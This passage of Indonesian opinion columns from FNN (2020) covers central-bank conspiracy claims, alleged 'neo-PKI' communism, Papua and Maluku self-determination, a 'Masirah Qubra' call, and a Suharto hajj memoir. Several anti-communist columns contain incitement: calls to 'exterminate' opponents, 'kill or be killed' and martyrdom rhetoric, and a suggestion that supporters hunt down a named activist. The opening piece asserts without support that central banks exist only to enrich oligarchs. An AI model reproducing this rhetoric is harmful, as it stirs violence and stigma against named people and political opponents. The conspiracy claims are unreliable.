Bank Sentral tidak bertanggung jawab pada rakyat, termasuk kelangsungan bangsa ini. Tanggung jawab ini dipegang oleh Prediden dan DPR. Disisi lain, artikel di atas memperlihatkan pada batas yang jelas. Kehadiran Bank Sentral bukan kehendak rakyat. Kehadiran Bank adalah hasil ciptaan para oligarkis, bankir swasta internasional. Tujuannya agar mereka bebas merancang kebijakan keuangan untuk menciptakan uang, memperbesar keuntungan mereka. Titik. Tak lebih. Status ‘independen” yang disandang Ban Sentral, analogi dari status Mahkamah Agung, tidak punya maksud teknis apapun, selain hanya memastikan “oligarki-oligarki ini ingin bebas sebebasnyanya” merancang kebijakan keuangan. Itu saja. Semua argumen yang berkembang, dan disajikan dalam setiap pembicaraan tentang Bank Senral dan sistem keuangan, hampir seluruhnya ciptaan kelompok oligarki ini. Inflasi yang hendak dikendalikan oleh Bank Sentral, dalam sejarahmya, terutama sesudah The Federal Reserve itu tak terbukti. Justru sebaliknya terus terjadi. Apa yang seharusnya dilakukan sebagai respon atas masalah ini? Pendefenisian kembali “status, khususnya bobot atau jangkauan independensi bank sentral” harus dilihat sebagai pilihan yang masuk akal. Bangsa ini tidak bisa menyerahkan nasibnya, kelangsungannya ditentukan oleh Bank Sentral. Perubahan UU Bank Sentral, karena itu terasa pantas dilakukan. (Selesai). Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Lawan Neo PKI Dan Komunisme Berbaju Pancasila

by M. Rizal Fadillah Jakarta FNN – Sabtu (01/08). Mengadu domba, fitnah, pemutarbalikkan fakta, dan memusuhi agama, baik ajaran agama maupun ulama adalah gaya PKI. Juga gaya kader Komunis dalam menjalankan misi, melalui yang disebut dengan agitasi dan propaganda. Kasus Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP), RUU Badan Pembinaan Ideologi Pancasila (BPIP) sampai pembakaran baliho bergambar Habib Rizieq Shihab adalah aktualisasi misi di saat kiwari. Hura-hura ala Gerwani ikut mewarnai berbagai aksi seperti itu. Dulu itu Masyumi, HMI, Ormas Islam dan para ulama menjadi sasaran penting dari propaganda PKI. Dijadikan sebagai batu loncatan yang juga penting untuk konsolidasi diri menuju pembentukan "angkatan kelima". Angkatan yang diusulkan oleh PKI untuk juga dipersenjatai. Pola-pola agitasi model PKI itu sekarang hidup lagi dalam bentuk dan yang berbeda. Yang sekarang rajin sekali berteriak “saya atau kami Pancasila”. Persis seperti PKI dulu yang rajin berteriak-teriak membela Pancasila. Bahkan Ketua PKI Diva Nusantara Aidit menulis buku dengan judul “Membela Pancasila”. Kini "hantu-hantu" itu dibuat kembali oleh neo PKI dan kader kader Komunis. Isu radikalisme, kaum intoleran, khilafah, dan HRS adalah "musuh buatan" untuk konsolidasi kekuatan kaum kiri baru. Di tengah krisis ekonomi dan kesehatan, bangsa Indonesia dibuat gerah oleh pertumbuhan gerakan komunisme yang terlihat lebih masif. Ada upaya untuk kembali bangkit. Presiden Jokowi terlihat yang diam saja menyikapi situasi ini. Mimbar Istana tidak digunakan bersikap. Bahkan cenderung menafikan kondisi yang telah menggelisahkan umat Islam tersebut. Kenyataan ini mengingatkan kita pada Soekarno yang "berapologi" tentang pentingnya keberadaan dan pertumbuhan PKI di Indonesia. Pidato Soekarno yang berjudul "subur subur suburlah PKI", telah menjadi dan memberikan angin segar bagi PKI untuk kelak mencoba mengkudeta kekuasaan. Membunuh para Jenderal TNI Angkatan Darat. PKI juga membunuh para kiyai, ulama dan santri. Dalam menghadapi gerakan neo PKI dan Komunis sekarang, Presiden Jokowi harus belajar dari Soekarno. Peran dan posisi Soekarno yang hingga kini masih misterius dalam peristiwa G 30 S PKI, tidak boleh diulangi oleh Presiden Jokowi. Harus bersikap dan punya posisi yang jelas. Tidak boleh abu-abu. Umat Islam juga dituntut peningkatan kewaspadaan dan kesiapsiagaan dalam menghadapi perubahan politik. Perubahan yang mungkin saja lebih cepat dari yang diperkirakan. Sebab keberadaan neo PKI dan komunisme bukan kekuatan yang harus dipandang kecil. Tidak bisa diremehkan atau ditertawakan. Umat Islam harus berada pada posisi siaga satu. Sebab menjadi sangat berbahaya bila menghadapi kebangkitan neo PKI dan komunisme di tengah rezim yang lemah tingkat kepeduliannya. Bahkan rezim terkesan permisif pada pergerakannya. Untuk itu, umat Islam harus selalu siap sedia menghadapi datangnya kemungkinan terburuk. Umat Islam pada kondisi tertentu nyatanya harus berjuang sendirian. Sementara insitusi kenegaraan bungkam atau dibungkamkan. Bahkan terkesan malah protektif terhadap kebangkitan gerakan neo PKI dan komunisme. Tak ada sinyal atau peringatan untuk mewaspadainya. Sampai sekarang, Presiden Jokowi belum sekalipun berpidato dari mimbar Istana Negara yang menyinggung soal kebangkitan neo PKI dan bahaya komunisme. Bahkan Presiden malah nyaman-nyaman saja bergaul dengan "mbah"nya komunis, negara Cina. Walaupun dengan daya dukung politik yang kecil, umat Islam akan tetap menjadi garda terdepan dalam melawan bangkitnya neo PKI dan komunisme. Bersama dengan elemen masyarakat anti komunis lainnya, dipastikan siap bergerak untuk melawan dan membasmi musuh agama, musuh bangsa, dan musuh negara. Pemerintah seharusnya "alert" terhadap penyusup mahir neo PKI dan faham komunisme. Mereka adalah para penyamar ideologi musang berbulu ayam. Pendusta kebenaran, kejujuran dan keadilan. Umat Islam dan elemen anti komunis telah meniup pluit untuk berjalan di rel perlawanan. Pemerintah harus berada pada posisi bersama menghadapi gerakan neo PKI dan faham komunisme. Akan tetapi jika pemerintah tidak mau bersama, maka jangan menghalangi di depan. Jika menghalangi juga, maka kereta akan terus bergerak dengan cepat. Kereta akan menabrak dan menggilas siapapun yang menyiapkan diri menjadi penghalang. Untuk yang menjadi kader neo PKI dan komunisme, tak ada toleransi dan negoisasi dengan kalian. Militansi adalah spirit nurani menghadapi kalian, tidak bisa ditawar. Sebagaimana biasa ketika melawan penjajah, berlaku prinsip "hidup atau mati". "Kill or to be killed". Hidup mulia atau mati syahid. UmatIislam tak akan pernah gentar atau mundur bila menghadapi neo PKI dan faham komunisme. Berjuang dan berkorban adalah ibadah. Untuk mendapatkan ridlo Ilahi. Syurga-Nya Allah telah setia menanti. Penulis adalah Pemerhati Politik dan Kebangsaan.

Papua, Maluku Raya Dalam Genggaman Kolonialisme Baru

by M. Ikhsan Tualeka Jakarta FNN – Sabtu (01/08). Keinginan untuk “merdeka” oleh banyak orang Papua, juga mulai mengemuka di kalangan orang Maluku. Bila ditelusuri, belakangan ini sejatinya ada kaitannya dengan upaya penyelamatan diri dari kanker ganas prilaku oligarki yang telah melilit Indonesia sejauh ini. Oligarki yang telah menguasai dan mengendalikan hampir semua sendi-sendi tata kelola kekuasaan negara. Oligarki yang dibangun dan dikendalikan oleh sekelompok orang (Baca: Taipan), berkelindan dengan kekuasaan yang korup. Oligarki yang menjadikan Partai Politik sebagai alat untuk membentuk undang-undang sesuai keinginan mereka. Oligarki yang menjadikan ajang demokrasi untuk mengendalikan kekuasaan negara. Contoh paling kasat mata dan telanjang adalah Rancangan Undang-Undang (RUU) sapu jagad Omnu Bus Law Cipta Kerja. Ada lagi Undang-Undang Minermba yang baru disahkan, dengan masa perpanjangan 90 tahun secara otomatis. Yang paling akhir, terlihat nyata para Oligarki menitipkan kepentingan mereka di Perppu Nomor 1/2020 yang telah menjadi Undang-Undang Nomor 2/2020. Kasus Djoko Tjandra yang baru-baru ini turut menyeret sejumlah jenderal polisi, merefleksikan betapa buruknya tata kelola pemerintah Indonesia. Tidak kurang tiga institusi negara urusan penegak hukum dan dua Kementerian dilempari mukanya dengan (mohon maaf) kotoran manusia yang biasa dibuang di toilet. Lembaga negara urusan penegakan hukum itu adalah Kepolisian Negara Republik Indonesia (Polri), Kejaksaan Agung, Ditjen Imigrasi Kementerian Hukum dan HAM, ditambah Ditjen Dukcapil Kementerian Dalam Negeri dan Kementerian Perhubungan. Semua menjadi lima instansi negara. Setelah dilempari lima institusi negara ini dengan kotoran buangan manusia, Djoko Tjandara pun kabur dengan mudah ke luar negeri. Cenrteng-perenang itu bisa dilihat dari implikasi dan kenyataan bahwa satu persen orang terkaya di Indonesia kini menguasai 49,3 persen kekayaan nasional. Angka ketimpangan ini berdasarkan survei lembaga keuangan Credit Suisse tahun 2017 lalu. Menempatkan Indonesia berada di peringkat ke empat negara dengan ketimpangan tertinggi di dunia. Ini fakta yang tak bisa ditepis. Itu hanya sedikit diantara persoalan ketoimpangan yang mengemuka. Namun soal-soal lain yang tak kalah lebih mendasar, utamanya persoalan distribusi keadilan, latar sejarah politik hingga praktik diskriminasi paradigma pembangunan yang keliru. Penilaian ini tentu akan disetujui jika mau berangkat dari cara pandang yang berlandaskan hati nurani. Situasi yang mengemuka hari ini sebenarnya adalah puncak dari ketamakan. Selain itu, dinafikannya eksistensi masyarakat lokal dan kepentingan daerah (Timur) Papua dan Maluku Raya (Maluku dan Maluku Utara) selama puluhan tahun. Sayangnya, kesempatan emas yang telah diberikan untuk mengelola negara sesuai “kesepakatan” tidak dijalankan dengan baik oleh penguasa yang telah diberikan amanat oleh rakyat. Lebih lanjut, melihat kondisi eksisting, dengan geopolitik terkahir, justru membuat luka semakin dalam. Kenyataan ini diperparah dengan kadar resistensi masyarakat lokal, serta pola pendekatan politik yang justru salah dan ngawur. Pendekatan yang tidak mengutamakan dan menghidupkan potensi, kekayaan dan kearifan lokal. Pendekatan yang hanya mengandalkan keamanan semata. Untuk itu, Papua layak diberikan kesempatan untuk menentukan nasib sendiri. Bisa saja lewat mekanisme referendum yang terbuka dan transparan. Sementara Maluku harus segera diberikan otonomi khusus (Otsus) untuk memperpendek jarak ketertinggalan yang sudah sangat lebar. Sekali lagi, ini demi nilai-nilai kemanusiaan dan keadilan. Intergrasi wilayah tak berarti apa-apa tanpa ada integrasi sosial. Bahkan yang terjadi hanyalah eksploitasi sumber daya alam, memperkaya segelintir kelompok penguasa dan oligarki tertentu. Sementara anak kandung dari daerah-daerah yang dikuras itu tetap dalam kemiskinan dan ketertinggalan. Papua dan Maluku Raya hari ini, bila mau jujur adalah potret dari bersemayamnya kolonialisme gaya baru. Praktek kolonialisme yang dibungkus dengan semangat nasionalisme semu. Mendistribusikan dengan telanjang kekayaan daerah untuk kaum oligarki. Namun masyarakat Papu dan Maluku Raya hanya bisa menyaksikan proses kolonialisme semu di depan mata. Keadaan ini tidak bisa dibiarkan berlarut. Generasi tercerahkan dan pemimpin politik hari ini, terutama dari Indonesia, tak bisa lepas tangan. Tidak bisa membiarkan kondisi ini terus berlangsung tiada akhir. Seperti mengabaikan orang yang sedang sekarat di pembaringan. Namun masih tetap menunda kematiannya. Sementara sejarah akan merekam dan mencatat semuanya. Hari-hari ini, kalau dilihat dengan kacamata kemanusiaan dan kejujuran tingkat dewa, maka akan terbaca dengan jelas. Hampir semua orang Papua asli, menginginkan penentuan nasib sendiri. Jika pun ada yang menolak gagasan ini, bisa jadi hanyalah kelompok kepentingan yang kebetulan sedang mendapat keuntungan dari intergrasi yang ada. Namun hati kecilnya pun ingin turut ambil bagian. Sementara pada sisi yang lain, Indonesia terlihat tidak menunjukan upaya yang penting, strategis dan berarti untuk mengendalikan situasi yang ada. Tidak terlihat ada pendekatan yang prima, relevan, adil, bermartabat dan manusiawi. Tampak hanya pendekatan keamanan semata. Pendekatan yang terus menelan korban manusia, baik itu yang meninggal dunia maupun yang luka-luka. Gagalnya penerapan Otonomi Khusus (Otsus) di Papua yang hampir 20 tahun terkahir ini, serta pelanggaran HAM yang terus terjadi dan mengiringinya, adalah fakta yang tak terbantahkan. Sejarah peradaban manusia telah membuktikan serta mengajarkan pada kita bahwa melakukan kontrol dengan cara paksa, dan eksploitasi besar-besaran pada sumber daya alam hanya akan berujung pada kegagalan yang tidak bermartabat. Prilaku ketidakadilan pada satu wilayah dan masyarakatnya, pasti akan berakhir dengan sendirinya. Maka pilihannya adalah, apakah hendak diakhiri dengan cara tragis? Penuh dengan pertumpahan darah dan air mata? Seperti yang pernah terjadi di Timor Leste? Begitu juga yang terjadi Bosnia-Herzegovina? Yang kemudian berakhir dengan merdeka lewat satu referendum? Atau melalui referendum dengan cara yang damai seperti di Singapura, yang akhirnya memilih untuk berpisah dari Malaysia tahun 1963. Setelah disintegrasi, masing-masing pihak bisa hidup dengan damai. Hidup secara berdampingan sebagai sahabat bagi yang lain. Bahkan saling mendukung dan menguntungkan. Mungkin pula bisa seperti Skotlandia yang pada tahun 2014 menggelar referendum. Apakah rakyatnya setuju untuk memisahkan diri dari persemakmuran Inggris atau tidak? Ternyata hasilnya kurang dari 50 persen rakyat Skotlandia yang menginginkan merdeka. Sementara masih lebih banyak rakyat Skotlandia menginginkan berada di bawah naungan Ratu Elizabeth. Itu adalah pilihan politik yang dapat diambil, dan sejumlah konsekuensi politik yang bakal mengikutinya. Referendum dalam pelaksanaannya, tidak mesti hasilnya adalah berpisah atau disintegrasi. Ada pula yang tetap memilih inklud. Pastinya ini adalah cara yang paling damai. Karena menyerahkan sepenuhnya satu entitas bangsa untuk menentukan nasibnya sendiri. Memang akan sulit, mengingat kekayaan Papuan yang besar. Tentu saja sangat berat bagi Indonesia, bila harus membuka ruang untuk melepas Papua begitu saja. Tetapi ini adalah pilihan yang jauh lebih menusiawi, efektif dan efisien daripada moncong senapan dan angkatan perang. Moncong senapan hanya mempetaruhkan nyawa, serta menjadi catatan sejarah yang buruk dan hitam. Menjelang hari kemerdekaan Nergara Republik Indonesia, sepertinya kita perlu sama-sama membaca dan merenungi kembali kutipan indah dalam pembukaan UUD 1945, “bahwa sesungguhnya kemerdekaan itu ialah hak segala bangsa, dan oleh sebab itu, maka penjajahan di atas dunia harus dihapuskan, karena tidak sesuai dengan perikemanusiaan dan perikeadilan." Atau kita perlu pula merenungi paham nasionalisme yang dikembangkan Soekarno, yakni nasionalisme yang mencerminkan sikap anti terhadap kolonialisme dan imperalisme. Nasionalisme yang berdasarkan pada atau lahir dari menselijkheid. “Nasionalismeku adalah perikemanusiaan”, kata Soekarno mengutip pendapat Gandhi. Pandangan yang mengajarkan pada kita bawah nasionalisme seberapa pun tingginya, harus tunduk pada nilai-nilai kemanusiaan. Itu artinya kemanusiaan dan memanusiakan manusia, termasuk terhadap orang Papua, juga orang Maluku Raya, jauh lebih penting dari agenda apapun, temasuk dari proyek nasionalisme ala Indonesia itu sendiri. Satu hal yang perlu menjadi catatan bersama, sebagai penutup sudut pandang ini. Bahkan bila perlu digarusbawahi dengan tinta merah adalah "bahwa kemerdekaan dan keadilan, dimanapun itu harus tetap diperjuangkan. Tidak bisa menunggu untuk diberikan. Apalagi menunggu diberikan oleh oligarki dan kolonislisme gaya baru". Pilihannya hanya dua. Diam itu tertindas, atau bangkit dan melawan sebagai pilihan. Saatnya bagi generasi hari ini untuk menuliskan catatan dan penggalan sejarahnya sendiri. Penulis adalah Direktur Maluku Crisis Center (MCC).

Gerombolan Boedi Djarot, Vandalisme Khas Komunis

by M Rizal Fadillah Jakarta FNN – Jum’at (31/07). Peristiwa aksi 27 Juli 2020 di depan Gedung DPR oleh "kelompok merah" yang jumlahnya sedikit saja membuat kehebohan. Yang aneh adalah asinya menyerang figur Habib Rizieq Shihab. Menistakan gambar atau baliho HRS dengan menginjak-injak, membakar dan merobeknya. Api yang tidak bisa membakar baliho bergambar HRS menjadi keunikan tersendiri. Padahal baliho HRS telah disirami dengan minyak, entah minyak bensin atau minya tanah. Tetap saja haliho yang kainnya sangat mudah terbakar itu tidak bisa terbakar. Kelompok merah ini dipimpin oleh Sekjen GJI Boedi Djarot adiknya Eros Djarot. Walaupun umat Islam tidak semua sefaham dengan langkah dan perjuangan HRS, akan tetapi penistaan terhadap HRS sebagai tokoh atau ulama cukup membuat umat Islam prihatin. Membuat gara-gara apa "kelompok merah" ini? Simpati kepada HRS dipastikan akan muncul dari mana-mana. Bahkan dari yang bukan muslim. Simpati dan pembelaan terhadap HRS bukan hanya dari organisasi yang dipimpinnya, yaitu FPI. Tetapi dipastikan lebih luas dari FPI, khususnya dari kalangan umat Islam. Sekurangnya para alumni 212 akan bersikap untuk mendukung HRS. Jumlahnya jutaan pasti puluhan juta. Militansi umat yang tinggi dalam melawan perilaku zalim. Sebab kelompok dan gerombolan merak Boedi Djarot layak untuk dikecam. Telah membuat kegaduhan baru di tengah banyaknya kegaduhan di negara ini. Bara permusuhan telah diciptakan. Terlepas dari motif yang mendasari gerombolan Boedi Djarot. Apakah memancing, ekspresi dendam, atau lainnya? Namun pembakaran atau perusakan secara demonstratif baliho bergambar HRS dinilai sangat tidak bermoral. Reaksi balasan diperkirakan bakal terjadi. Sebelumnya pelaku pembakaran bendera PDIP masih misterius. Bisa yang membakar adalah peserta aksi yang kontra terhadap RUU HIP. Namun bisa dari susupan PDIP sendiri. Bisa pula memang pihak ketiga yang memancing situasi agar semakin mamanas. Yang jelas peringatan "kudatuli" menunjukkan kenanehan tersendiri. Sebab tiba-tiba saja berfokus pada perusakan dan penistaan baliho yang bergambar HRS. HRS sendiri rasanya tidak memiliki hubungan apa-apa dengan peristiwa 27 Juli tersebut. Bahkan mungkin saja mengutuk keras peristiwa tersebut. Aada tiga kemungkinan konsekuensi dari penistaan dengan percobaan pembakaran dan perusakkan secara terencana baliho bergambar HRS oleh gerombolan Boedi Djarot ini, yaitu : Pertama, dilaporkan ke pihak Kepolisian prilaku Boedi Djarot cs. Tetapi dipastikan proses pengusutan tidak akan berjalan serius. Kasus Ade Armando, Abu Janda, dan Denny Siregar adalah contoh. Jadi, para simpatisan dan pendukung HRS jangan terlalu berjarap banyak dari kemungkinan pertama. Kedua, dilakukan pencarian sendiri terhadap Boedi Djarot cs oleh massa pendukung HRS. Tujuannya untuk meminta pertanggungjawaban atas perbuatan penistaan yang dilakukan oleh gerombolan Boedi Djarot ini. Ketiga, bisa saja budaya bakar bakar dan perusakan baliho atau poster terhadap tokoh menjadi kebiasaan. Pembalasan misalnya, dengan membakar baliho Megawati atau Djarot atau tokoh lain yang diduga terlibat dirusak, diinjak-injak, atau dibakar pula. Ke depan bisa saja baliho Presiden Jokowi, Menteri atau pejabat lain juga diperlakukan sama. Ini tentu sangat tidak sehat. Bila tidak ada langkah baik dari kekuatan politik protektor "kelompok merah" maupun aparat penegak hukum, maka isu bahwa perusakan dan pembakaran itu dilakukan oleh gerombolan neo PKI atau aktivis komunis bisa saja menggelinding. Modus adu domba sangat kentara. Yang dirobek, diinjak-injak, atau dibakar pada hakekatnya tidak lain adalah nilai-nilai moral. Gaya brutal dan vandalisme seperti ini menjadi karakter khas gerakan komunisme. Wajar rakyat Indonesia harus mulai waspada dan siaga. Neo PKI dan Komunisme mulai dan sedang bergerak. Penulis adalah Pemerhati Politik dan Kebangsaan.

Menanti Datangnya Panglima Masirah Qubra (Bag. Pertama)

by Dr. Masri Sitanggang Jakarta FNN – Jum’at (31/07). Kondisi sekarang ini adalah pertarungan. Kalau umat Islam kalah, negeri ini bakal menjadi sekuler-komunis. Untuk itu perlu Panglima yang berani, cerdas dan tangkas menghadapi situasi ini. Fenomena ngototnya fraksi tertentu di DPR RI untuk meneruskan pembahasan RUU HIP – meski masyarakat beserta ormas-ormas besar seperti Muhammadiyah dan NU, bahkan MUI seluruh Indonesia telah menyatakan menolak keras. Namun muculnya usul pemerintah tentang RUU BIP, membuktikan satu hal, “pertarungan mengenai falsafah negara belum selesai”. Masih ada kelompok yang sungguh-sungguh belum rela menerima Dekrit Presiden 1959. Diakuinya keberadaan Piagam Jakarta dalam Dekrit itu, diduga keras menjadi sebab utama penolakan mereka terutama penganut faham sekulerisme dan komunisme. Padahal, Dekrit 5 Juli 1959 ini diterima secara aklamasi oleh DPR hasil Pemilu 1955 pada 22 Juli 1959. Dengan demikian, Dekrit Presiden 5 Juli 1959 adalah satu-satunya rumusan falsafah negara yang disahkan oleh satu badan yang langsung dipilih oleh rakyat. Tambahan lagi, tujuh tahun kemudian, 19 Juni 1966, Memorandum Dewan Perwakilan Rakyat Gotong Royong menjustifikasi Dekrit Presiden 5 Juli itu dan pada tanggal 5 Juli 1966 oleh MPRS ditingkatkan menjadi Ketetapan MPRS no XX/MPRS/1966. Dengan kekuasaan yang dimiliki, pengusung sekularisme ingin memaksakan kehendak. Ingin mengganti falsafah negara yang sah berlaku saat ini, yakni rumusan Dekrit Presiden 5 Juli 1959. Penggantinya adalah falsafah yang terinspirasi dari pidato usulan Ir Soekarno pada sidang BPUPK tanggal 1 Juni 1945, yang oleh Endang Saifuddin Anshari (1983) disebut “Konsep Rumusan Pribadi”. Rumusan Soekarno 1 Juni 1945 adalah rumusan tidak resmi. Di dalam RUU HIP, konsep rumusan pribadi itu dinampakkan dalam wajah materialism yang terang. Menyingkirkan Tuhan dalam membangun Indonesia. Kalau pun mau ber-Tuhan, maka Tuhan harus dikurung dalam kebudayaan. Ilmu dan Teknologi lebih utama dari Tuhan. Gila dan sinting konseptornya. Tentu ini adalah serangan ekstrem radikal terhadap NKRI. Pertama, mengabaikan falsafah negara yang resmi ditetapkan melalaui Dekrit dan sah masih berlaku. Kedua, bertujuan membalikkan sistem nilai yang sudah mendarah-daging jauh sebelum bangsa ini merdeka ke arah yang bertolak belakang. Membalikan ke arah membelakangi nilai-nilai Tuhan. Indonesia hidup dengan berke-Tuhan-an bukanlah bermula dari terumuskannya Piagam Jakarta. Sama sekali bukan. Ke-Tuhan-an itu sudah menjadi jiwa masyarakat Indonesia berabad sebelum Indonbesia merdeka. Bagi Umat Islam, Ke-Tuhan-an malah menjadi spirit utama untuk mengusir penjajah. Piagam Jakarta hanya mengukuhkan apa yang menjadi sistem nilai yang hidup di tengah masyarakat itu. Berupaya menjadikannnya hukum positif. Ambillah periode yang paling dekat, tahun 1928. Tahun dimana para pemuda Indonesia bersumpah bertanah air dan berbangsa serta berbahasa satu. Di situ dinyanyikan lagu dengan syair “ bangunlah jiwanya, bangunlah badannya, untuk Indonesia raya”. Disadari betul, bahwasanya jiwa-ruhani perlu dibangun sebagai kekuatan perlawanan menentang penjajah. Bukan fisik ansich. Mimpi para pemuda dulu itu, adalah Indonesia merdeka yang terbangun jiwa dan badannya, ruhani dan fisik-jasmaninya. Membangun jiwa-ruhani lebih utama, agar pembangunanfisik-jasmani memiliki arti buat kehidupan. Pembangunan bukan untuk pembangunan, tetapi untuk manusia yang mendiami Indonesia. Jiwa-ruhani hanya bisa dibangun dengan ajaran Tuhan. Tidak bisa dengan matematika, fisika, kimia atau sebutlah sains dan teknologi. Sains teknologi tanpa Tuhan akan melahirkan manusia tanpa hati. Manusia robot, atau paling banter seperti hewan terlatih. Ini sangat mengerikan. Indonesia akan menjadi belantara gedung pencakar langit yang dihuni oleh manusia hewani. Survival of the fittest, kata Charles Darwin. Yang kuat yang bertahan hidup. Memangsa sesamanya tanpa belas kasih. Begitulah hewan, begitulah falsafah orang tak ber-Tuhan. Merubah kesepakatan dengan kekuasaan, tanpa menghiraukan jeritan komponen bangsa yang menjadi stake holder, pada hakekatnya adalah penindasan. Penindasan penguasa terhadap rakyat, dan itu adalah penjajahan. Sebuah kejahatan kemanusiaan yang sesungguhnya kita tolak sesuai alenia pertama Pembukaan UUD 1945. Lebih menyakitkan dari Penjajahan sebelumnya, karena justeru dilakukan bangsa sendiri. Tetapi memang, begitulah tabiat pertarungan. Setiap orang berupaya keras melumpuhkan lawannya hingga tidak berkutik. Itu sah belaka. Apalagi petarungnya menganut faham bebas nilai alias tidak berke-Tuhan-an. Menghadapi petarung yang begini, adalah satu kebodohan bila berharap mereka akan mengikuti aturan main. Jangan berharap ada perasaan tersentuh mendengar jeritan dan suara kecewa serta keluh kesah. Bertarunglah sampai mampus. Tidak akan ada belas kasih. Sebab mereka adalah manusia tanpa hati. Dimana ilmu dan teknologi menjadi alat pembunuh bagi mereka. Sebagai pihak yang paling bertanggungjawab untuk memerdekakan Indonesia, maka wajib ikut betanggungjawab melestarikan nilai Ketuhanan Yang Maha Esa. Selama ini umat Islam memang terlalu polos. Selalu saja berprasangka baik. Tidak pernah merasa bertarung. Tidak sadar kalau mereka diposisikan sebagai lawan oleh kelompok tertentu. Akibatnya, ketika kena “pukulan” keras, mereka cuma berkeluh kesah, kesal dan kecewa. Bertanya “kenapa kami diperlakukan begini ?”. Dalam konteks RUU HIP yang menjadi RUU BIP, adanya upaya untuk menyamakan khilafah dengan komunisme. Misalnya, masih ada umat Islam yang menilai, ini disebabkan kelompok tertentu itu dungu, bodoh, tidak faham tentang Pancasila dan khilafah. Inilah pertanda tidak sadar bahwa mereka sedang menghadapi pertarungan. Menganggap lawan bertindak tanpa rencana, tanpa perhitungan dan tujuan. Kalau umat Islam sadar bahwa mereka sedang bertarung, pastilah bersiap-siap menghadapinya. Siap menerima dan mengelakkan “serangan”. Bahkan siap pula melakukan serangan balik. Tidak ada tempat berkeluh kesah dan kecewa di situ. Yang ada, adalah : lawan tetap saja lawan. Harus lawan sampai menang atau menyerah kalah. Kalau mujahid, pilihannya menang atau mati dalam pertarungan. Isy kariman au mut syahidan. Artinya, hidup mulia atau mati syahid, kata Wakil Ketua MUI Pusat, KH Muhyiddin Junaidi. Itulah orang yang sadar. Sebagai pemimpin umat, KH Muhyiddin patut dan sudah seharusnya mendeklarasikan itu. Apa yang telah dialami umat Islam selama perumusan falsafah negara, baik masa RI maupun masa NKRI. Kenyataan ini ditambah dengan perlakuan pemerintah terhadap umat Islam atas nama Pancasila selama Indonesia merdeka adalah menyakitkan. Selama ini umat Islam berlapang dada menerima itu sebagai sebuah kenyataan dalam dinamika hidup berbangsa dan bernegara. Tetapi kalau sampai ada upaya ekstrim dengan kekuasaan, sehingga membuang falsafah negara yang telah disepakati dengan jalan susah payah, ceritanya bisa menjadi lain lagi. Apalagi menggantinya dengan sesuatu yang sudah ditolak, maka itu sudah sampai pada batas tidak dapat tertolerir lagi. Wajib untuk adanya melakukan langkah Masirah Qubra, Isy kariman au mut syahidan. (bersambung). Penulis adalah Ketua Panitia #Masyumi Reborn.

Kenangan Ibadah Haji Bersama Pak Harto (Bag. Pertama)

by Emron Pangkapi Jakarta FNN – Jum’at (31/07). Tahun 1991 Presiden Suharto menunaikan ibadah Haji bersama dengan keluarga.Beliau tidak menggunakan fasilitas kenegaraan. Rombongan Pak Harto berangkat haji menggunakan biro perjalanan haji PT Tiga Utama, pimpinan Ande Abdul Latief. Perjalanan Haji Pak Harto menjadi berita besar. Apalagi disertai juga dengan Ibu Tien, yang oleh sebagian masyarakat masih termakan isue yang meragukan ke-Islamannya. Pengumuman Pak Harto akan berangkat menunaikan ibadah Haji, menjadi daya tarik peningkatan jumlah jamaah Haji Indonesia yang luar mbiasa.Apalagi Haji Tahun 1991 di bulan Juni itu, diyakini sebagai Haji Akbar, karena wukuf jatuh di hari Jumat. Pada haji tahun 1991 itu belum ada ketentuan tentang quota haji. Sebanyak yang mau berangkat, Arab Saudi tak mempersoalkalnya.Sejumah pejabat, Anggota DPR, tokoh masyarakat, artis dan pengusaha ramai ramai mendaftarkan diri untuk berhaji di tahun yang sama dengan Presiden Suharto. Waktu itu saya baru berusia 34 tahun, bekerja sebagai wartawan di Harian Media Indonesia. Untuk tugas liputan perjalanan Haji Presiden Suharto, Media Indonesia sudah menugaskan wartawan Muchlis Hasyim dan Ahmad Satiri, dua wartawan Media Indonesia yang bertugas di Kementerian Agama. Muchlis Hasyim disamping sebagai wartawan, juga adalah kerabat dari Ande Abdul Latief, pemilik Tiga Utama. Karenanya dia sekaliigus ditugaskan sebagai kordinator wartawan yang akan meliput perjalanan haji Presiden Suharto. Ayahanda Muchlis Hasyim, Ustadz Ambo Mukhlis, adalah Perwakilan PT Tiga Utama di Makkah. Seminggu sebelum jadwal keberangkatan keloter terakhir, saya menghadiri acara walimatus safar untuk melepas keberangkatan sahabat saya, tokoh PPP Muhammad Buang SH. Ketika itu Buang menjabat sebagai Wakil Ketua Komisi V DPR RI yang membidangi perhubungan. Beliau akan berangkat haji menjelang keloter terakhir. Muhammad Buang bercerita tentang PT Garuda Indonesia yang akan menambah penerbangan ekstra karena jumlah jamaah yang membeludak. "Kalau kau mau ikut, bisa kuusakan tiketnya", kata Buang kepada saya. Mendengar tawaran Buang, saya bak tersengat lebah. Saya langsung menyambar tawaran luar biasa itu. Saya pikir, urusan lain menyusul. Yang penting terima dulu. Pendek cerita, esoknya saya membawa surat Wakil Ketua Komisi V DPR Muhammad Buang menghadap Direktur Niaga PT Garuda Indonesia, Pak Razali di Kebun Sirih. Tidak banyak cincong. Hanya dalam 30 menit saya sudah mendapatkan tiket Garuda Jakarta - Jeddah PP di penerbangan reguler. Pada masa itu Garuda Indonesia mengeluarkan tiket komersial berwarna merah. Berbentuk buku yang tipis atau kupon. Sedangkan tiket saya berupa kertas warna putih lembaran. Dikenal dengan nama "tiket putih". Tiket yang jenis ini hanya biasa dikeluarkan Garuda Indonesia khusus untuk para pejabat. Setelah tiket di tangan dan paspor yang memang sudah tersedia, saya segera begerak menemui Pak Ande Abdul Latif di kantor PT Tiga Utama Gedung Sangga Buana depan Segitiga Senen. Dengan menyerahkan tiket dan paspor, saya mohon kepada beliau agar dapat ikut serta berangkat beribdah haji dengan Tiga Utama. Masya Allah, seperti dalam mimpi. Pak Ande Abdul Latief tidak banyak Tanya sana-sini.Beliau memandang saya agak tertegun. Kemudian langsung memberi keputusan. “Kau berangkat sebagai petugas Haji”. Dia kemudian teriak ke stafnya agar paspor saya segera diproses untuk mendapatkan visa di Kedutaan Arab Saudi. Hari itu juga saya diperintahkan Pak Ande ke Gudang PT Tiga Utama yang di Jalan Proklamasi (seberang Bioskop Megaria). Saya ke sana untuk mendapatkan seluruh fasilitas jamaah Haji Tiga Utama. Saya dapat koper besar, koper kecil dan semua perlengkapan Haji di musim panas. Hanya saja untuk tanda pengenal sebagai panitia harus dikordinasikan dulu dengan pihak keamanan. Karena Pak Harto dan keluarga berhaji menggunakan fasilitas Tiga Utama. 